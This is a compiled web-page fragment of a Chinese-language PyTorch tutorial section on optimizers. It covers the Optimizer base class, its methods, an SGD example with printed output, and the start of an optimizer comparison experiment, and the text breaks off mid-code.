n={code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,a.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"39-\u4f18\u5316\u5668md",children:"3.9 \u4f18\u5316\u5668.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:14"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(n.h1,{id:"39-pytorch\u4f18\u5316\u5668",children:"3.9 PyTorch\u4f18\u5316\u5668"}),"\n",(0,s.jsx)(n.p,{children:"\u6df1\u5ea6\u5b66\u4e60\u7684\u76ee\u6807\u662f\u901a\u8fc7\u4e0d\u65ad\u6539\u53d8\u7f51\u7edc\u53c2\u6570\uff0c\u4f7f\u5f97\u53c2\u6570\u80fd\u591f\u5bf9\u8f93\u5165\u505a\u5404\u79cd\u975e\u7ebf\u6027\u53d8\u6362\u62df\u5408\u8f93\u51fa\uff0c\u672c\u8d28\u4e0a\u5c31\u662f\u4e00\u4e2a\u51fd\u6570\u53bb\u5bfb\u627e\u6700\u4f18\u89e3\uff0c\u53ea\u4e0d\u8fc7\u8fd9\u4e2a\u6700\u4f18\u89e3\u662f\u4e00\u4e2a\u77e9\u9635\uff0c\u800c\u5982\u4f55\u5feb\u901f\u6c42\u5f97\u8fd9\u4e2a\u6700\u4f18\u89e3\u662f\u6df1\u5ea6\u5b66\u4e60\u7814\u7a76\u7684\u4e00\u4e2a\u91cd\u70b9\uff0c\u4ee5\u7ecf\u5178\u7684resnet-50\u4e3a\u4f8b\uff0c\u5b83\u5927\u7ea6\u67092000\u4e07\u4e2a\u7cfb\u6570\u9700\u8981\u8fdb\u884c\u8ba1\u7b97\uff0c\u90a3\u4e48\u6211\u4eec\u5982\u4f55\u8ba1\u7b97\u51fa\u8fd9\u4e48\u591a\u7cfb\u6570\uff0c\u6709\u4ee5\u4e0b\u4e24\u79cd\u65b9\u6cd5\uff1a"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsx)(n.li,{children:"\u7b2c\u4e00\u79cd\u662f\u76f4\u63a5\u66b4\u529b\u7a77\u4e3e\u4e00\u904d\u53c2\u6570\uff0c\u8fd9\u79cd\u65b9\u6cd5\u4ece\u7406\u8bba\u4e0a\u884c\u5f97\u901a\uff0c\u4f46\u662f\u5b9e\u65bd\u4e0a\u53ef\u80fd\u6027\u57fa\u672c\u4e3a0\uff0c\u56e0\u4e3a\u53c2\u6570\u91cf\u8fc7\u4e8e\u5e9e\u5927\u3002"}),"\n",(0,s.jsx)(n.li,{children:"\u4e3a\u4e86\u4f7f\u6c42\u89e3\u53c2\u6570\u8fc7\u7a0b\u66f4\u5feb\uff0c\u4eba\u4eec\u63d0\u51fa\u4e86\u7b2c\u4e8c\u79cd\u529e\u6cd5\uff0c\u5373BP+\u4f18\u5316\u5668\u903c\u8fd1\u6c42\u89e3\u3002"}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"\u56e0\u6b64\uff0c\u4f18\u5316\u5668\u662f\u6839\u636e\u7f51\u7edc\u53cd\u5411\u4f20\u64ad\u7684\u68af\u5ea6\u4fe1\u606f\u6765\u66f4\u65b0\u7f51\u7edc\u7684\u53c2\u6570\uff0c\u4ee5\u8d77\u5230\u964d\u4f4eloss\u51fd\u6570\u8ba1\u7b97\u503c\uff0c\u4f7f\u5f97\u6a21\u578b\u8f93\u51fa\u66f4\u52a0\u63a5\u8fd1\u771f\u5b9e\u6807\u7b7e\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"\u4e86\u89e3PyTorch\u7684\u4f18\u5316\u5668"}),"\n",(0,s.jsx)(n.li,{children:"\u5b66\u4f1a\u4f7f\u7528PyTorch\u63d0\u4f9b\u7684\u4f18\u5316\u5668\u8fdb\u884c\u4f18\u5316"}),"\n",(0,s.jsx)(n.li,{children:"\u4f18\u5316\u5668\u7684\u5c5e\u6027\u548c\u6784\u9020"}),"\n",(0,s.jsx)(n.li,{children:"\u4f18\u5316\u5668\u7684\u5bf9\u6bd4"}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"391-pytorch\u63d0\u4f9b\u7684\u4f18\u5316\u5668",children:"3.9.1 PyTorch\u63d0\u4f9b\u7684\u4f18\u5316\u5668"}),"\n",(0,s.jsxs)(n.p,{children:["PyTorch\u5f88\u4eba\u6027\u5316\u7684\u7ed9\u6211\u4eec\u63d0\u4f9b\u4e86\u4e00\u4e2a\u4f18\u5316\u5668\u7684\u5e93",(0,s.jsx)(n.code,{children:"torch.optim"}),"\uff0c\u5728\u8fd9\u91cc\u9762\u63d0\u4f9b\u4e86\u591a\u79cd\u4f18\u5316\u5668\u3002"]}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"torch.optim.SGD"}),"\n",(0,s.jsx)(n.li,{children:"torch.optim.ASGD"}),"\n",(0,s.jsx)(n.li,{children:"torch.optim.Adadelta"}),"\n",(0,s.jsx)(n.li,{children:"torch.optim.Adagrad"}),"\n",(0,s.jsx)(n.li,{children:"torch.optim.Adam"}),"\n",(0,s.jsx)(n.li,{children:"torch.optim.AdamW"}),"\n",(0,s.jsx)(n.li,{children:"torch.optim.Adamax"}),"\n",(0,s.jsx)(n.li,{children:"torch.optim.RAdam"}),"\n",(0,s.jsx)(n.li,{children:"torch.optim.NAdam"}),"\n",(0,s.jsx)(n.li,{children:"torch.optim.SparseAdam"}),"\n",(0,s.jsx)(n.li,{children:"torch.optim.LBFGS"}),"\n",(0,s.jsx)(n.li,{children:"torch.optim.RMSprop"}),"\n",(0,s.jsx)(n.li,{children:"torch.optim.Rprop"}),"\n"]}),"\n",(0,s.jsxs)(n.p,{children:["\u800c\u4ee5\u4e0a\u8fd9\u4e9b\u4f18\u5316\u7b97\u6cd5\u5747\u7ee7\u627f\u4e8e",(0,s.jsx)(n.code,{children:"Optimizer"}),"\uff0c\u4e0b\u9762\u6211\u4eec\u5148\u6765\u770b\u4e0b\u6240\u6709\u4f18\u5316\u5668\u7684\u57fa\u7c7b",(0,s.jsx)(n.code,{children:"Optimizer"}),"\u3002\u5b9a\u4e49\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-Python",children:"class Optimizer(object):\n def __init__(self, params, defaults): \n self.defaults = defaults\n self.state = defaultdict(dict)\n self.param_groups = []\n"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsxs)(n.strong,{children:[(0,s.jsx)(n.code,{children:"Optimizer"}),"\u6709\u4e09\u4e2a\u5c5e\u6027\uff1a"]})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"defaults"}),"\uff1a\u5b58\u50a8\u7684\u662f\u4f18\u5316\u5668\u7684\u8d85\u53c2\u6570\uff0c\u4f8b\u5b50\u5982\u4e0b\uff1a"]}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"{'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False}\n"})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"state"}),"\uff1a\u53c2\u6570\u7684\u7f13\u5b58\uff0c\u4f8b\u5b50\u5982\u4e0b\uff1a"]}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"defaultdict(, {tensor([[ 0.3864, -0.0131],\n [-0.1911, -0.4511]], requires_grad=True): {'momentum_buffer': tensor([[0.0052, 0.0052],\n [0.0052, 0.0052]])}})\n"})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"param_groups"}),"\uff1a\u7ba1\u7406\u7684\u53c2\u6570\u7ec4\uff0c\u662f\u4e00\u4e2alist\uff0c\u5176\u4e2d\u6bcf\u4e2a\u5143\u7d20\u662f\u4e00\u4e2a\u5b57\u5178\uff0c\u987a\u5e8f\u662fparams\uff0clr\uff0cmomentum\uff0cdampening\uff0cweight_decay\uff0cnesterov\uff0c\u4f8b\u5b50\u5982\u4e0b\uff1a"]}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"[{'params': [tensor([[-0.1022, -1.6890],[-1.5116, -1.7846]], requires_grad=True)], 'lr': 1, 'momentum': 0, 'dampening': 0, 'weight_decay': 0, 'nesterov': False}]\n"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsxs)(n.strong,{children:[(0,s.jsx)(n.code,{children:"Optimizer"}),"\u8fd8\u6709\u4ee5\u4e0b\u7684\u65b9\u6cd5\uff1a"]})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"zero_grad()"}),"\uff1a\u6e05\u7a7a\u6240\u7ba1\u7406\u53c2\u6570\u7684\u68af\u5ea6\uff0cPyTorch\u7684\u7279\u6027\u662f\u5f20\u91cf\u7684\u68af\u5ea6\u4e0d\u81ea\u52a8\u6e05\u96f6\uff0c\u56e0\u6b64\u6bcf\u6b21\u53cd\u5411\u4f20\u64ad\u540e\u90fd\u9700\u8981\u6e05\u7a7a\u68af\u5ea6\u3002"]}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"def zero_grad(self, set_to_none: bool = False):\n for group in self.param_groups:\n for p in group['params']:\n if p.grad is not None: #\u68af\u5ea6\u4e0d\u4e3a\u7a7a\n if set_to_none: \n p.grad = None\n else:\n if p.grad.grad_fn is not None:\n p.grad.detach_()\n else:\n p.grad.requires_grad_(False)\n p.grad.zero_()# \u68af\u5ea6\u8bbe\u7f6e\u4e3a0\n"})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"step()"}),"\uff1a\u6267\u884c\u4e00\u6b65\u68af\u5ea6\u66f4\u65b0\uff0c\u53c2\u6570\u66f4\u65b0"]}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"def step(self, closure): \n raise NotImplementedError\n"})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"add_param_group()"}),"\uff1a\u6dfb\u52a0\u53c2\u6570\u7ec4"]}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"def add_param_group(self, param_group):\n assert isinstance(param_group, dict), \"param group must be a dict\"\n# \u68c0\u67e5\u7c7b\u578b\u662f\u5426\u4e3atensor\n params = param_group['params']\n if isinstance(params, torch.Tensor):\n param_group['params'] = [params]\n elif isinstance(params, set):\n raise TypeError('optimizer parameters need to be organized in ordered collections, but '\n 'the ordering of tensors in sets will change between runs. Please use a list instead.')\n else:\n param_group['params'] = list(params)\n for param in param_group['params']:\n if not isinstance(param, torch.Tensor):\n raise TypeError(\"optimizer can only optimize Tensors, \"\n \"but one of the params is \" + torch.typename(param))\n if not param.is_leaf:\n raise ValueError(\"can't optimize a non-leaf Tensor\")\n\n for name, default in self.defaults.items():\n if default is required and name not in param_group:\n raise ValueError(\"parameter group didn't specify a value of required optimization parameter \" +\n name)\n else:\n param_group.setdefault(name, default)\n\n params = param_group['params']\n if len(params) != len(set(params)):\n warnings.warn(\"optimizer contains a parameter group with duplicate parameters; \"\n \"in future, this will cause an error; \"\n \"see github.com/PyTorch/PyTorch/issues/40967 for more information\", stacklevel=3)\n# \u4e0a\u9762\u597d\u50cf\u90fd\u5728\u8fdb\u884c\u4e00\u4e9b\u7c7b\u7684\u68c0\u6d4b\uff0c\u62a5Warning\u548cError\n param_set = set()\n for group in self.param_groups:\n param_set.update(set(group['params']))\n\n if not param_set.isdisjoint(set(param_group['params'])):\n raise ValueError(\"some parameters appear in more than one parameter group\")\n# \u6dfb\u52a0\u53c2\u6570\n self.param_groups.append(param_group)\n"})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"load_state_dict()"})," \uff1a\u52a0\u8f7d\u72b6\u6001\u53c2\u6570\u5b57\u5178\uff0c\u53ef\u4ee5\u7528\u6765\u8fdb\u884c\u6a21\u578b\u7684\u65ad\u70b9\u7eed\u8bad\u7ec3\uff0c\u7ee7\u7eed\u4e0a\u6b21\u7684\u53c2\u6570\u8fdb\u884c\u8bad\u7ec3"]}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"def load_state_dict(self, state_dict):\n r\"\"\"Loads the optimizer state.\n\n Arguments:\n state_dict (dict): optimizer state. Should be an object returned\n from a call to :meth:`state_dict`.\n \"\"\"\n # deepcopy, to be consistent with module API\n state_dict = deepcopy(state_dict)\n # Validate the state_dict\n groups = self.param_groups\n saved_groups = state_dict['param_groups']\n\n if len(groups) != len(saved_groups):\n raise ValueError(\"loaded state dict has a different number of \"\n \"parameter groups\")\n param_lens = (len(g['params']) for g in groups)\n saved_lens = (len(g['params']) for g in saved_groups)\n if any(p_len != s_len for p_len, s_len in zip(param_lens, saved_lens)):\n raise ValueError(\"loaded state dict contains a parameter group \"\n \"that doesn't match the size of optimizer's group\")\n\n # Update the state\n id_map = {old_id: p for old_id, p in\n zip(chain.from_iterable((g['params'] for g in saved_groups)),\n chain.from_iterable((g['params'] for g in groups)))}\n\n def cast(param, value):\n r\"\"\"Make a deep copy of value, casting all tensors to device of param.\"\"\"\n \t\t.....\n\n # Copy state assigned to params (and cast tensors to appropriate types).\n # State that is not assigned to params is copied as is (needed for\n # backward compatibility).\n state = defaultdict(dict)\n for k, v in state_dict['state'].items():\n if k in id_map:\n param = id_map[k]\n state[param] = cast(param, v)\n else:\n state[k] = v\n\n # Update parameter groups, setting their 'params' value\n def update_group(group, new_group):\n ...\n param_groups = [\n update_group(g, ng) for g, ng in zip(groups, saved_groups)]\n self.__setstate__({'state': state, 'param_groups': param_groups})\n"})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.code,{children:"state_dict()"}),"\uff1a\u83b7\u53d6\u4f18\u5316\u5668\u5f53\u524d\u72b6\u6001\u4fe1\u606f\u5b57\u5178"]}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:'def state_dict(self):\n r"""Returns the state of the optimizer as a :class:`dict`.\n\n It contains two entries:\n\n * state - a dict holding current optimization state. Its content\n differs between optimizer classes.\n * param_groups - a dict containing all parameter groups\n """\n # Save order indices instead of Tensors\n param_mappings = {}\n start_index = 0\n\n def pack_group(group):\n\t\t......\n param_groups = [pack_group(g) for g in self.param_groups]\n # Remap state to use order indices as keys\n packed_state = {(param_mappings[id(k)] if isinstance(k, torch.Tensor) else k): v\n for k, v in self.state.items()}\n return {\n \'state\': packed_state,\n \'param_groups\': param_groups,\n }\n'})}),"\n",(0,s.jsx)(n.h2,{id:"392-\u5b9e\u9645\u64cd\u4f5c",children:"3.9.2 \u5b9e\u9645\u64cd\u4f5c"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:'import os\nimport torch\n\n# \u8bbe\u7f6e\u6743\u91cd\uff0c\u670d\u4ece\u6b63\u6001\u5206\u5e03 --\x3e 2 x 2\nweight = torch.randn((2, 2), requires_grad=True)\n# \u8bbe\u7f6e\u68af\u5ea6\u4e3a\u51681\u77e9\u9635 --\x3e 2 x 2\nweight.grad = torch.ones((2, 2))\n# \u8f93\u51fa\u73b0\u6709\u7684weight\u548cdata\nprint("The data of weight before step:\\n{}".format(weight.data))\nprint("The grad of weight before step:\\n{}".format(weight.grad))\n# \u5b9e\u4f8b\u5316\u4f18\u5316\u5668\noptimizer = torch.optim.SGD([weight], lr=0.1, momentum=0.9)\n# \u8fdb\u884c\u4e00\u6b65\u64cd\u4f5c\noptimizer.step()\n# \u67e5\u770b\u8fdb\u884c\u4e00\u6b65\u540e\u7684\u503c\uff0c\u68af\u5ea6\nprint("The data of weight after step:\\n{}".format(weight.data))\nprint("The grad of weight after step:\\n{}".format(weight.grad))\n# \u6743\u91cd\u6e05\u96f6\noptimizer.zero_grad()\n# \u68c0\u9a8c\u6743\u91cd\u662f\u5426\u4e3a0\nprint("The grad of weight after optimizer.zero_grad():\\n{}".format(weight.grad))\n# \u8f93\u51fa\u53c2\u6570\nprint("optimizer.params_group is \\n{}".format(optimizer.param_groups))\n# \u67e5\u770b\u53c2\u6570\u4f4d\u7f6e\uff0coptimizer\u548cweight\u7684\u4f4d\u7f6e\u4e00\u6837\uff0c\u6211\u89c9\u5f97\u8fd9\u91cc\u53ef\u4ee5\u53c2\u8003Python\u662f\u57fa\u4e8e\u503c\u7ba1\u7406\nprint("weight in optimizer:{}\\nweight in weight:{}\\n".format(id(optimizer.param_groups[0][\'params\'][0]), id(weight)))\n# \u6dfb\u52a0\u53c2\u6570\uff1aweight2\nweight2 = torch.randn((3, 3), requires_grad=True)\noptimizer.add_param_group({"params": weight2, \'lr\': 0.0001, \'nesterov\': True})\n# \u67e5\u770b\u73b0\u6709\u7684\u53c2\u6570\nprint("optimizer.param_groups is\\n{}".format(optimizer.param_groups))\n# \u67e5\u770b\u5f53\u524d\u72b6\u6001\u4fe1\u606f\nopt_state_dict = optimizer.state_dict()\nprint("state_dict before step:\\n", opt_state_dict)\n# \u8fdb\u884c5\u6b21step\u64cd\u4f5c\nfor _ in range(50):\n optimizer.step()\n# \u8f93\u51fa\u73b0\u6709\u72b6\u6001\u4fe1\u606f\nprint("state_dict after step:\\n", optimizer.state_dict())\n# \u4fdd\u5b58\u53c2\u6570\u4fe1\u606f\ntorch.save(optimizer.state_dict(),os.path.join(r"D:\\pythonProject\\Attention_Unet", "optimizer_state_dict.pkl"))\nprint("----------done-----------")\n# \u52a0\u8f7d\u53c2\u6570\u4fe1\u606f\nstate_dict = torch.load(r"D:\\pythonProject\\Attention_Unet\\optimizer_state_dict.pkl") # \u9700\u8981\u4fee\u6539\u4e3a\u4f60\u81ea\u5df1\u7684\u8def\u5f84\noptimizer.load_state_dict(state_dict)\nprint("load state_dict successfully\\n{}".format(state_dict))\n# \u8f93\u51fa\u6700\u540e\u5c5e\u6027\u4fe1\u606f\nprint("\\n{}".format(optimizer.defaults))\nprint("\\n{}".format(optimizer.state))\nprint("\\n{}".format(optimizer.param_groups))\n'})}),"\n",(0,s.jsx)(n.h2,{id:"393-\u8f93\u51fa\u7ed3\u679c",children:"3.9.3 \u8f93\u51fa\u7ed3\u679c"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"# \u8fdb\u884c\u66f4\u65b0\u524d\u7684\u6570\u636e\uff0c\u68af\u5ea6\nThe data of weight before step:\ntensor([[-0.3077, -0.1808],\n [-0.7462, -1.5556]])\nThe grad of weight before step:\ntensor([[1., 1.],\n [1., 1.]])\n# \u8fdb\u884c\u66f4\u65b0\u540e\u7684\u6570\u636e\uff0c\u68af\u5ea6\nThe data of weight after step:\ntensor([[-0.4077, -0.2808],\n [-0.8462, -1.6556]])\nThe grad of weight after step:\ntensor([[1., 1.],\n [1., 1.]])\n# \u8fdb\u884c\u68af\u5ea6\u6e05\u96f6\u7684\u68af\u5ea6\nThe grad of weight after optimizer.zero_grad():\ntensor([[0., 0.],\n [0., 0.]])\n# \u8f93\u51fa\u4fe1\u606f\noptimizer.params_group is \n[{'params': [tensor([[-0.4077, -0.2808],\n [-0.8462, -1.6556]], requires_grad=True)], 'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False}]\n\n# \u8bc1\u660e\u4e86\u4f18\u5316\u5668\u7684\u548cweight\u7684\u50a8\u5b58\u662f\u5728\u4e00\u4e2a\u5730\u65b9\uff0cPython\u57fa\u4e8e\u503c\u7ba1\u7406\nweight in optimizer:1841923407424\nweight in weight:1841923407424\n \n# \u8f93\u51fa\u53c2\u6570\noptimizer.param_groups is\n[{'params': [tensor([[-0.4077, -0.2808],\n [-0.8462, -1.6556]], requires_grad=True)], 'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False}, {'params': [tensor([[ 0.4539, -2.1901, -0.6662],\n [ 0.6630, -1.5178, -0.8708],\n [-2.0222, 1.4573, 0.8657]], requires_grad=True)], 'lr': 0.0001, 'nesterov': True, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0}]\n\n# \u8fdb\u884c\u66f4\u65b0\u524d\u7684\u53c2\u6570\u67e5\u770b\uff0c\u7528state_dict\nstate_dict before step:\n {'state': {0: {'momentum_buffer': tensor([[1., 1.],\n [1., 1.]])}}, 'param_groups': [{'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False, 'params': [0]}, {'lr': 0.0001, 'nesterov': True, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'params': [1]}]}\n# \u8fdb\u884c\u66f4\u65b0\u540e\u7684\u53c2\u6570\u67e5\u770b\uff0c\u7528state_dict\nstate_dict after step:\n {'state': {0: {'momentum_buffer': tensor([[0.0052, 0.0052],\n [0.0052, 0.0052]])}}, 'param_groups': [{'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False, 'params': [0]}, {'lr': 0.0001, 'nesterov': True, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'params': [1]}]}\n\n# \u5b58\u50a8\u4fe1\u606f\u5b8c\u6bd5\n----------done-----------\n# \u52a0\u8f7d\u53c2\u6570\u4fe1\u606f\u6210\u529f\nload state_dict successfully\n# \u52a0\u8f7d\u53c2\u6570\u4fe1\u606f\n{'state': {0: {'momentum_buffer': tensor([[0.0052, 0.0052],\n [0.0052, 0.0052]])}}, 'param_groups': [{'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False, 'params': [0]}, {'lr': 0.0001, 'nesterov': True, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'params': [1]}]}\n\n# defaults\u7684\u5c5e\u6027\u8f93\u51fa\n{'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False}\n\n# state\u5c5e\u6027\u8f93\u51fa\ndefaultdict(, {tensor([[-1.3031, -1.1761],\n [-1.7415, -2.5510]], requires_grad=True): {'momentum_buffer': tensor([[0.0052, 0.0052],\n [0.0052, 0.0052]])}})\n\n# param_groups\u5c5e\u6027\u8f93\u51fa\n[{'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False, 'params': [tensor([[-1.3031, -1.1761],\n [-1.7415, -2.5510]], requires_grad=True)]}, {'lr': 0.0001, 'nesterov': True, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'params': [tensor([[ 0.4539, -2.1901, -0.6662],\n [ 0.6630, -1.5178, -0.8708],\n [-2.0222, 1.4573, 0.8657]], requires_grad=True)]}]\n\n"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"\u6ce8\u610f\uff1a"})}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsx)(n.li,{children:"\u6bcf\u4e2a\u4f18\u5316\u5668\u90fd\u662f\u4e00\u4e2a\u7c7b\uff0c\u6211\u4eec\u4e00\u5b9a\u8981\u8fdb\u884c\u5b9e\u4f8b\u5316\u624d\u80fd\u4f7f\u7528\uff0c\u6bd4\u5982\u4e0b\u65b9\u5b9e\u73b0\uff1a"}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"class Net(nn.Moddule):\n \xb7\xb7\xb7\nnet = Net()\noptim = torch.optim.SGD(net.parameters(),lr=lr)\noptim.step()\n"})}),"\n",(0,s.jsxs)(n.ol,{start:"2",children:["\n",(0,s.jsxs)(n.li,{children:["optimizer\u5728\u4e00\u4e2a\u795e\u7ecf\u7f51\u7edc\u7684epoch\u4e2d\u9700\u8981\u5b9e\u73b0\u4e0b\u9762\u4e24\u4e2a\u6b65\u9aa4\uff1a\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsx)(n.li,{children:"\u68af\u5ea6\u7f6e\u96f6"}),"\n",(0,s.jsx)(n.li,{children:"\u68af\u5ea6\u66f4\u65b0"}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"optimizer = torch.optim.SGD(net.parameters(), lr=1e-5)\nfor epoch in range(EPOCH):\n\t...\n\toptimizer.zero_grad() #\u68af\u5ea6\u7f6e\u96f6\n\tloss = ... #\u8ba1\u7b97loss\n\tloss.backward() #BP\u53cd\u5411\u4f20\u64ad\n\toptimizer.step() #\u68af\u5ea6\u66f4\u65b0\n"})}),"\n",(0,s.jsxs)(n.ol,{start:"3",children:["\n",(0,s.jsx)(n.li,{children:"\u7ed9\u7f51\u7edc\u4e0d\u540c\u7684\u5c42\u8d4b\u4e88\u4e0d\u540c\u7684\u4f18\u5316\u5668\u53c2\u6570\u3002"}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"from torch import optim\nfrom torchvision.models import resnet18\n\nnet = resnet18()\n\noptimizer = optim.SGD([\n {'params':net.fc.parameters()},#fc\u7684lr\u4f7f\u7528\u9ed8\u8ba4\u76841e-5\n {'params':net.layer4[0].conv1.parameters(),'lr':1e-2}],lr=1e-5)\n\n# \u53ef\u4ee5\u4f7f\u7528param_groups\u67e5\u770b\u5c5e\u6027\n"})}),"\n",(0,s.jsx)(n.h2,{id:"394-\u5b9e\u9a8c",children:"3.9.4 \u5b9e\u9a8c"}),"\n",(0,s.jsx)(n.p,{children:"\u4e3a\u4e86\u66f4\u597d\u7684\u5e2e\u5927\u5bb6\u4e86\u89e3\u4f18\u5316\u5668\uff0c\u6211\u4eec\u5bf9PyTorch\u4e2d\u7684\u4f18\u5316\u5668\u8fdb\u884c\u4e86\u4e00\u4e2a\u5c0f\u6d4b\u8bd5"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.strong,{children:"\u6570\u636e\u751f\u6210"}),"\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"a = torch.linspace(-1, 1, 1000)\n# \u5347\u7ef4\u64cd\u4f5c\nx = torch.unsqueeze(a, dim=1)\ny = x.pow(2) + 0.1 * torch.normal(torch.zeros(x.size()))\n"})}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.strong,{children:"\u6570\u636e\u5206\u5e03\u66f2\u7ebf"}),"\uff1a"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:r(35281).A+"",width:"640",height:"480"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"\u7f51\u7edc\u7ed3\u6784"})}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"class Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.hidden = nn.Linear(1, 20)\n self.predict = nn.Linear(20, 1)\n\n def forward(self, x):\n x = self.hidden(x)\n x = F.relu(x)\n x = self.predict(x)\n return 